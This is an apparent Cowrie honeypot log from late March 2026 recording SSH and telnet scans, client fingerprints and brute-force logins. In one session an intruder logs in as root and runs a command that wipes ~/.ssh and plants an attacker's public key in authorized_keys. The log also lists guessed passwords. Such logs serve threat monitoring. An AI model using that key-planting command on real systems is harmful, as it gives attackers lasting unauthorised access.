{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:07:34.872579Z","src_ip":"159.203.30.22","session":"71c17a1e42cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:07:34.890842Z","src_ip":"159.203.30.22","session":"71c17a1e42cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:07:42.869590Z","src_ip":"159.203.30.22","session":"71c17a1e42cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.135.131","src_port":43924,"dst_ip":"10.17.0.5","dst_port":23,"session":"756065db910e","protocol":"telnet","message":"New connection: 71.6.135.131:43924 (10.17.0.5:23) [session: 756065db910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:35.751865Z"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.135.131","src_port":44708,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59b24c8550e","protocol":"telnet","message":"New connection: 71.6.135.131:44708 (10.17.0.5:23) [session: a59b24c8550e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:36.762431Z"}
{"eventid":"cowrie.session.closed","duration":0.0048067569732666016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:36.767102Z","src_ip":"71.6.135.131","session":"a59b24c8550e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.135.131","src_port":44794,"dst_ip":"10.17.0.5","dst_port":23,"session":"2724fa7d1234","protocol":"telnet","message":"New connection: 71.6.135.131:44794 (10.17.0.5:23) [session: 2724fa7d1234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:36.904641Z"}
{"eventid":"cowrie.session.closed","duration":0.005497932434082031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:36.909979Z","src_ip":"71.6.135.131","session":"2724fa7d1234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.135.131","src_port":44876,"dst_ip":"10.17.0.5","dst_port":23,"session":"84497137395f","protocol":"telnet","message":"New connection: 71.6.135.131:44876 (10.17.0.5:23) [session: 84497137395f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:37.089094Z"}
{"eventid":"cowrie.session.closed","duration":0.008564472198486328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:37.097519Z","src_ip":"71.6.135.131","session":"84497137395f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.455449342727661,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:08:40.207201Z","src_ip":"71.6.135.131","session":"756065db910e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d2bd6173a0","protocol":"ssh","message":"New connection: 2.57.121.112:49282 (10.17.0.5:22) [session: b8d2bd6173a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:17.179047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:17.184637Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:17.279827Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxcv12","message":"login attempt [admin/zxcv12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:17.749158Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zx123456789","message":"login attempt [admin/zx123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:18.847405Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ztMFcQ","message":"login attempt [admin/ztMFcQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:19.945427Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zQjphsyf6ctifgu","message":"login attempt [admin/zQjphsyf6ctifgu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:21.044092Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zonker","message":"login attempt [admin/zonker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:22.142930Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:23.244047Z","src_ip":"2.57.121.112","session":"b8d2bd6173a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"8153e3a86597","protocol":"ssh","message":"New connection: 104.208.108.166:37368 (159.203.135.109:22) [session: 8153e3a86597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:50.907099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:50.911420Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:51.124366Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zaqwsxcde","message":"login attempt [root/zaqwsxcde] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:52.008954Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:52.473660Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:52.476910Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:52.480931Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:52.698772Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.159734Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.163033Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.380910Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.384245Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":30676,"dst_ip":"159.203.135.109","dst_port":22,"session":"56e47add56d4","protocol":"ssh","message":"New connection: 104.208.108.166:30676 (159.203.135.109:22) [session: 56e47add56d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.592730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.596448Z","src_ip":"104.208.108.166","session":"56e47add56d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:53.810854Z","src_ip":"104.208.108.166","session":"56e47add56d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:54.702953Z","src_ip":"104.208.108.166","session":"56e47add56d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:55.921085Z","src_ip":"104.208.108.166","session":"56e47add56d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":30688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b9a70e8972","protocol":"ssh","message":"New connection: 104.208.108.166:30688 (159.203.135.109:22) [session: d0b9a70e8972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:56.131259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:56.138567Z","src_ip":"104.208.108.166","session":"d0b9a70e8972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:56.352035Z","src_ip":"104.208.108.166","session":"d0b9a70e8972","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:57.236352Z","src_ip":"104.208.108.166","session":"d0b9a70e8972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:57.454061Z","src_ip":"104.208.108.166","session":"d0b9a70e8972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:11:57.460527Z","src_ip":"104.208.108.166","session":"8153e3a86597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":10508,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfaf59c91cfd","protocol":"ssh","message":"New connection: 213.209.159.159:10508 (159.203.135.109:22) [session: bfaf59c91cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:10.174234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:10.178757Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:10.260217Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya","message":"login attempt [taniya/taniya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:10.657954Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya1","message":"login attempt [taniya/taniya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:11.743273Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya123","message":"login attempt [taniya/taniya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:13:12.827445Z","src_ip":"213.209.159.159","session":"bfaf59c91cfd","protocol":"ssh"}
